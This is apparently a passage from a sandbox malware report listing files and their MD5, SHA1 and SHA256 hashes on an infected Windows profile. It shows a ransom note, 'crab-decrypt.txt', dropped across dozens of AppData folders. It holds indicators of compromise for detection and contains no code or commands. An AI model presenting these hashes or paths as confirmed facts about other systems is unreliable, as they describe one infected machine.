c:\users\nd9e1fyi\appdata\roaming\kdoskm.avi
avi
MD5
a7b942969f1bf68b179aeae423e4d378
SHA1
0630f7af67c4c94dde2d6ad8b8da03c9873a38a6
SHA256
ad084a7dec745f4a3aaee85b041cec212553d93610df37ac680a30dc9425debf
File
users\nd9e1fyi\appdata\roaming\macromedia\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\macromedia\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\macromedia\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\macromedia\flash player\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\macromedia\flash player\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\macromedia\flash player\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\macromedia\flash player\#sharedobjects\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\macromedia\flash player\#sharedobjects\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\macromedia\flash player\#sharedobjects\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\macromedia\flash player\#sharedobjects\p7ub2489\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\macromedia\flash player\#sharedobjects\p7ub2489\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\macromedia\flash player\#sharedobjects\p7ub2489\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\support\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\support\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\support\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\sys\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\sys\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\sys\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\sys\settings.sol
users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\sys\settings.sol
c:\
c:\users\nd9e1fyi\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\sys\settings.sol
sol
MD5
e2206511aff69f5b850d7ee6a919d27f
SHA1
ee4ca5d547dede4f68e1f0800bc49f1c8b25c09d
SHA256
62d05c8600db2b0702a08a711fba484251fa50f6ee3ac750422c9a0acf04c121
File
users\nd9e1fyi\appdata\roaming\microsoft\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\addins\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\addins\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\addins\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\apasixtheditionofficeonline.xsl
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\apasixtheditionofficeonline.xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\apasixtheditionofficeonline.xsl
xsl
MD5
61a3ee38ddc2f88dfc40025034077a92
SHA1
fb7e2435fd22aaef4d5b0d7056c8b470208bac10
SHA256
051b6b195d37c676c45792a492e1a97b887682c33de73ef773fef87d75e4a383
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\chicago.xsl
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\chicago.xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\chicago.xsl
xsl
MD5
f46785f453192d5fa1329a94665afe5f
SHA1
1216204b959550a1a66e271cdb6073f6dacc1e2c
SHA256
4e598970a4f86cc010ce3b21af510d4b8cea876b3f1a872f7f8fefccecd4f5b4
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\gb.xsl
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\gb.xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\gb.xsl
xsl
MD5
57b717430663f711e0764f54f75b1171
SHA1
be1f3bb094b8f1498be1c1df96440c837dd00da7
SHA256
153a5e3ce6252846f9523a2478e0ba07ad33477cdf6658f0a5d824e831e75010
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\gostname.xsl
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\gostname.xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\gostname.xsl
xsl
MD5
804d9447d5d2bb18e587d344f3e2dfcb
SHA1
80a928f7ff94f126a9e65afe6c6f29f211bd5d49
SHA256
5d6fc9f27eb1eeb05e5009eb9e52b870fa68add981e1e375fb53a321db44ef99
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\gosttitle.xsl
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\gosttitle.xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\gosttitle.xsl
xsl
MD5
3911c8d6204fe569e721de94f0012e17
SHA1
ef594d1e156346303d06abb45abbf01cfe9d7935
SHA256
f01dcde8c722bb53f3870f2ade6d178c6c3484540ed2237e034c55b3c6028c77
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\harvardanglia2008officeonline.xsl
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\harvardanglia2008officeonline.xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\harvardanglia2008officeonline.xsl
xsl
MD5
3839347e1addcada30ca46af95551fb6
SHA1
820ef21437fb9dfc29447de715c26f5807bf29ed
SHA256
022bac14a6f2e6627c0123173ade165e6bde76bcf171ba0abaa57b4c1bcf9333
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\ieee2006officeonline.xsl
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\ieee2006officeonline.xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\ieee2006officeonline.xsl
xsl
MD5
0cb7b278cc858433c4a247def784e45a
SHA1
77cd02cb67c5dce7d59716b98ccf3646a55d2331
SHA256
001ed2b3f7bf57a61394d678d8e65a7fd20d16d26291355528b5cb7410093ea5
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\iso690.xsl
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\iso690.xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\iso690.xsl
xsl
MD5
355bff6c28a5f7534daa0d8acb1b5081
SHA1
131cbc60972f1e53ba414340850852e0d7a60c92
SHA256
8d85ac523e6689458187382686ea77a4e749d1b862e588e24fd8a73bf976e565
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\iso690nmerical.xsl
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\iso690nmerical.xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\iso690nmerical.xsl
xsl
MD5
d49957312865f0a5b9da55be60742991
SHA1
7dc3002b0834874fc99ac7c06a1bd8a5402bc82f
SHA256
96fc0864f529925fc710d58015cea830e68dcf982f8a1990ed99f6a7ca405d4e
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\mlaseventheditionofficeonline.xsl
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\mlaseventheditionofficeonline.xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\mlaseventheditionofficeonline.xsl
xsl
MD5
84908043b8b4075593e2354ab53eba99
SHA1
9262318a94cea1501eea1db22543e7d8e3acb989
SHA256
ba45ccf8eb13d6870268d83c2ee6965340570ab76de31cef292fab83d8c93cf9
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\sist02.xsl
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\sist02.xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\sist02.xsl
xsl
MD5
e912d2fc3c9283572d218869dd8502f3
SHA1
6399f35b2bc5412e5854e3d2ceb800997a4eec44
SHA256
6d505e8e8d511f7a25d837c39f70e70fe5322a1e660833efe5cbcde776567fb0
File
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\turabian.xsl
users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\turabian.xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\bibliography\style\turabian.xsl
xsl
MD5
a1c6df9aa0c2e4d5a7d0fff984a16941
SHA1
614c5eb554473012e2d12a1753b97ba3d00d9807
SHA256
ea2d96a2846045199eddd79e4f3800cdaab5b068c6b292ea58755174aef5b096
File
users\nd9e1fyi\appdata\roaming\microsoft\credentials\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\credentials\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\credentials\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\crypto\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\crypto\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\crypto\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\crypto\rsa\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\crypto\rsa\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\crypto\rsa\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-2172869166-1497266965-2109836178-1000\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-2172869166-1497266965-2109836178-1000\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-2172869166-1497266965-2109836178-1000\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\document building blocks\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\document building blocks\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\document building blocks\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\document building blocks\1033\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\document building blocks\1033\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\document building blocks\1033\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\document building blocks\1033\16\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\document building blocks\1033\16\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\document building blocks\1033\16\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\document building blocks\1033\16\built-in building blocks.dotx
users\nd9e1fyi\appdata\roaming\microsoft\document building blocks\1033\16\built-in building blocks.dotx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\document building blocks\1033\16\built-in building blocks.dotx
dotx
MD5
03571da0bb80d64c6740abdc86f2747d
SHA1
82e22d7a3c682d859a6098623b9232a94c26e2ea
SHA256
307be3c2c5dffc70e0cef6bd9cc3ab84177c4bd7bdabdf7ce92cb39758cd59a8
File
users\nd9e1fyi\appdata\roaming\microsoft\excel\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\excel\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\excel\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\excel\xlstart\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\excel\xlstart\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\excel\xlstart\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\inputmethod\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\inputmethod\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\inputmethod\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\inputmethod\chs\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\inputmethod\chs\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\inputmethod\chs\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\quick launch\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\quick launch\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\quick launch\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\implicitappshortcuts\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\implicitappshortcuts\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\implicitappshortcuts\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\userdata\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\userdata\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\userdata\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\userdata\low\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\userdata\low\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\internet explorer\userdata\low\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\mmc\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\mmc\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\mmc\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\network\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\network\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\network\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\network\connections\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\network\connections\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\network\connections\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\network\connections\pbk\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\network\connections\pbk\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\network\connections\pbk\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\network\connections\pbk\_hiddenpbk\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\network\connections\pbk\_hiddenpbk\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\network\connections\pbk\_hiddenpbk\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\office\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\office\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\office\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\office\mso1033.acl
users\nd9e1fyi\appdata\roaming\microsoft\office\mso1033.acl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\office\mso1033.acl
acl
MD5
2ad3ef61650d42d6cd1e7d4d32a0bb41
SHA1
d6d2c8dd5bf597ac2b789c73537c9fc49969693b
SHA256
25ecd528bab6b79c7dc44ac022195582f25b70563d12c8d8884508d468270df4
File
users\nd9e1fyi\appdata\roaming\microsoft\office\recent\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\office\recent\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\office\recent\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\office\recent\con2.lnk
users\nd9e1fyi\appdata\roaming\microsoft\office\recent\con2.lnk
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\office\recent\con2.lnk
lnk
MD5
cf34cf8fb6e6d884e433b5105620ad94
SHA1
abcb1662e23aab31e092cc3b2989a578d9195fdc
SHA256
5b6224b3b725d33d463e8ab7b3292e8ab272a2bc859aaa83aa660b674c174457
File
users\nd9e1fyi\appdata\roaming\microsoft\office\recent\index.dat
users\nd9e1fyi\appdata\roaming\microsoft\office\recent\index.dat
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\office\recent\index.dat
dat
MD5
dd7637e5fad846ea1a9abc0da1a6a582
SHA1
e1e0bb8eb5d3a288e07f15e0705dda3720b18e8d
SHA256
5ffe4661bf10d535e4213fd173a822e1a8e6bc8e9652fb23db661340836cc55f
File
users\nd9e1fyi\appdata\roaming\microsoft\office\recent\templates.lnk
users\nd9e1fyi\appdata\roaming\microsoft\office\recent\templates.lnk
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\office\recent\templates.lnk
lnk
MD5
8e3a05c869f45c42ed7d70d9edb95c80
SHA1
582593ada3ec554cf46769497cb93d3730ccc3b8
SHA256
f1579d60c5b585d2b8d4f6f89b15bc4830baf59d196d53ddbe3ed5e9007d2b4f
File
users\nd9e1fyi\appdata\roaming\microsoft\outlook\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\outlook\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\outlook\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\outlook\outlook.srs
users\nd9e1fyi\appdata\roaming\microsoft\outlook\outlook.srs
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\outlook\outlook.srs
srs
MD5
2b615e096959c120e49b3c6795053480
SHA1
f2979cfb451dd8ac49867873f1843522b6605813
SHA256
a5d74a406637373b6913bdae41df22a769a624762fecaa1f6095dc38b3f260ca
File
users\nd9e1fyi\appdata\roaming\microsoft\outlook\outlook.xml
users\nd9e1fyi\appdata\roaming\microsoft\outlook\outlook.xml
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\outlook\outlook.xml
xml
MD5
880b40cb7fda6e0c947f93d6f7d8295b
SHA1
fdff6cfca149248f52f19db1cb5964e40730ecf3
SHA256
6b0e1782869f48951063dea5df7f8d4cb413e396a6048c7626020205089eecb0
File
users\nd9e1fyi\appdata\roaming\microsoft\powerpoint\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\powerpoint\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\powerpoint\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
